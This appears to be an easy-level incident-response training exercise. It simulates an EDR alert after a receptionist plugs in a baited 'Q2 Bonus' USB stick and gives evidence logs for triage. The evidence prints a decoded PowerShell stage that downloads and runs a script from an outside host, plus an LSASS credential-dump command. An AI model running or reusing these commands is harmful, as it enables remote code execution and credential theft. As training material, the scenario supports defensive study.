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Incident

Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch

CybersecurityDifficulty · Easy
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Suspicious USB DeviceDifficulty · easyMedium asset
[EDR] Suspicious LNK + powershell.exe -enc on RECEPT-WS-01
From
EDR Alerts <edr-alerts@acme-corp.local>
To
soc@acme-corp.com
Date
2026-04-19 16:08 UTC
Automated alert from EDR (rule USB-LNK-EXEC-02). Workstation RECEPT-WS-01 (reception desk, ground floor) executed a Windows shortcut (.lnk) from a removable USB drive at 16:03:17 UTC. The shortcut launched powershell.exe with an encoded command. Process tree: explorer.exe → powershell.exe -nop -w hidden -enc <base64> The reception staff member tells us she found a USB stick in the lobby labeled "Q2 Bonus — do not open" earlier today and plugged it in to "see who it belonged to." She has not used the workstation for any other task since. Please respond. — EDR / Endpoint Security
Evidence
EDR detection + USB enumeration (RECEPT-WS-01)
# Removable media event
Device:        USB Mass Storage  VID_0951&PID_1666 (Kingston)
Volume label:  Q2_BONUS
First seen:    2026-04-19 16:01:42 UTC on RECEPT-WS-01
Files:         Q2_Bonus_List.lnk, .hidden\stage1.ps1, README.txt

# LNK target (resolved)
target: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe
args:   -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB...   (base64, decodes to IEX downloader)

# Decoded stage1 (preview)
$u = "https://cdn-doc-share[.]xyz/q2/s.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
# also attempts: rundll32 comsvcs.dll MiniDump <lsass pid> %TEMP%\l.dmp full

# Network activity from RECEPT-WS-01 (last 30 min)
16:03:18  TLS  RECEPT-WS-01 → cdn-doc-share[.]xyz:443
16:03:19  EDR blocked outbound to cdn-doc-share[.]xyz (low-rep, 8d-old domain)

# AV / VirusTotal lookup on stage1.ps1
SHA256 a14f..be07  →  41/72 (PowerShell.Downloader.*)
Affected asset
Name
RECEPT-WS-01
Type
Reception desk Windows workstation (shared, no privileged data stored locally)
Owner
Office Operations
Level
Medium
0 words

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